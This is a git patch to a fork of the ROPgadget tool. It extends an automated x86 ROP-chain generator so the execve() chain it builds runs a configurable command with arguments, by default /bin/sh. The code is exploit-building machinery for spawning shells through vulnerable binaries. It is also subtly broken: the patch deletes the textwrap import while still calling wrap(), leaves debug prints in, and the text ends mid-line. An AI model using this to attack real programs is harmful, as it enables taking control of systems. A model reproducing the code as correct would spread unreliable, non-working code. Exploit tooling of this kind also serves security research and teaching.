From f92b6e9ccd0828f40009ee42695949b377f4c74e Mon Sep 17 00:00:00 2001 From: Liam Dalgarno Date: Sat, 28 Nov 2020 17:42:09 +0000 Subject: [PATCH] Add execve arguments Co-authored-by: Chris Gora <34940205+ChrisGora@users.noreply.github.com> Co-authored-by: jack bond-preston --- ROPgadget/ropgadget/args.py | 2 +- ROPgadget/ropgadget/core.py | 6 +- .../ropgadget/ropchain/arch/ropmakerx86.py | 71 +++++++++++++------ autoRop.py | 11 ++- rop_exec.json | 1 + 5 files changed, 66 insertions(+), 25 deletions(-) create mode 100644 rop_exec.json diff --git a/ROPgadget/ropgadget/args.py b/ROPgadget/ropgadget/args.py index 681ed15..ba30970 100644 --- a/ROPgadget/ropgadget/args.py +++ b/ROPgadget/ropgadget/args.py @@ -86,7 +86,7 @@ architectures supported: parser.add_argument("--offset", type=str, metavar="", help="Specify an offset for gadget addresses") parser.add_argument("--paddingLen", type=int, metavar="", default=6, help="Specify the padding length for the ROP chain") parser.add_argument("--ropFile", type=str, metavar="", default="rop.txt", help="The file to write the generated ROP bytes to") - parser.add_argument("--execPath", type=str, metavar="", default="/bin/sh", help="Path of the executable to make execve() run") + parser.add_argument("--execFile", type=str, metavar="", default="/bin/sh", help="Path of the executable to make execve() run") parser.add_argument("--ropchain", action="store_true", help="Enable the ROP chain generation") parser.add_argument("--thumb" , action="store_true", help="Use the thumb mode for the search engine (ARM only)") parser.add_argument("--console", action="store_true", help="Use an interactive console for search engine") diff --git a/ROPgadget/ropgadget/core.py b/ROPgadget/ropgadget/core.py index 7486058..b385a3c 100644 --- a/ROPgadget/ropgadget/core.py +++ b/ROPgadget/ropgadget/core.py @@ -12,6 +12,7 @@ import re import codecs import ropgadget.rgutils as rgutils import binascii +import json from ropgadget.binary import Binary from capstone import CS_MODE_32 @@ -215,9 +216,12 @@ class Core(cmd.Cmd): self.__getGadgets() self.__lookingForGadgets() if self.__options.ropchain: + with open(self.__options.execFile) as f: + exec_contents = json.load(f) + ROPMaker( self.__binary, self.__gadgets, self.__options.paddingLen, - self.__options.ropFile, self.__options.execPath, self.__offset + self.__options.ropFile, exec_contents, self.__offset ) return True diff --git a/ROPgadget/ropgadget/ropchain/arch/ropmakerx86.py b/ROPgadget/ropgadget/ropchain/arch/ropmakerx86.py index e7d858a..d46d83c 100644 --- a/ROPgadget/ropgadget/ropchain/arch/ropmakerx86.py +++ b/ROPgadget/ropgadget/ropchain/arch/ropmakerx86.py @@ -9,19 +9,18 @@ import re from capstone import * -from textwrap import wrap import sys import math from struct import pack class ROPMakerX86(object): - def __init__(self, binary, gadgets, paddingLen, outFile, execPath, liboffset=0x0): + def __init__(self, binary, gadgets, paddingLen, outFile, exec, liboffset=0x0): self.__binary = binary self.__gadgets = gadgets self.paddingLen = paddingLen self.outFile = outFile - self.execPath = execPath + self.exec = exec # If it's a library, we have the option to add an offset to the addresses self.__liboffset = liboffset @@ -46,7 +45,7 @@ class ROPMakerX86(object): if g != "ret": if g.split()[0] == "ret" and g.split()[1] != "": raise - print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"])) + # print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"])) return [gadget, regex.group("dst"), regex.group("src")] except: continue @@ -64,7 +63,7 @@ class ROPMakerX86(object): if g != "ret": if g.split()[0] == "ret" and g.split()[1] != "": raise - print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"])) + # print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"])) return gadget except: continue @@ -121,24 +120,29 @@ class ROPMakerX86(object): print("\n# [-] Error - Can't find a writable section") return + print(f"dataAddr = 0x{dataAddr:08x}") + print(f"int 0x80 = 0x{syscall['vaddr']:08x}") + # prepend padding p = bytes('A' * self.paddingLen, "ascii") - command = self.execPath + command = self.exec[0] + # split command into chunks of 4, prepend with /s as necessary - if len(command) % 4 > 0: - command = padding_len(len(command)) * "/" + command + command = padding_len(len(command)) * "/" + command command_chunks = wrap(command, 4) ## EXEC (ARG0) \0 ARG1 \0 ARG2 \0 ... \0 PTR->EXEC PTR->ARG1 PTR->ARG2 ... \0 ## - - args = ["test", "test1", "long string example"] + + args = self.exec[1:] chunked_args = [] for arg in args: - if len(arg) % 4 > 0: - arg = arg + padding_len(len(arg)) * "!" - chunked_args.append(wrap) + arg = arg + padding_len(len(arg)) * "!" + print(arg) + chunked_args.append(wrap(arg, 4)) + print(chunked_args) + # & ( "cat" \0 ) exec_addr = dataAddr @@ -185,7 +189,24 @@ class ROPMakerX86(object): # Write Argument Strings # ########################## - + for i, arg in enumerate(chunked_args): + this_arg_addr = arg_addr[i] + + for j, chunk in enumerate(arg): + address = this_arg_addr + (j * 4) + + # write 4 char chunk of the command + p += self.__write4bytes( + address, + bytes(chunk, "ascii"), + dataAddr, popDst, popSrc, write4where + ) + + p += self.__write4nulls( + this_arg_addr + len(args[i]), + popDst, xorSrc, write4where + ) + #################### # Write Argv Array # @@ -198,6 +219,13 @@ class ROPMakerX86(object): dataAddr, popDst, popSrc, write4where ) + for i, address in enumerate(arg_addr): + p += self.__write4bytes( + argv_addr + ((i + 1) * 4), + pack('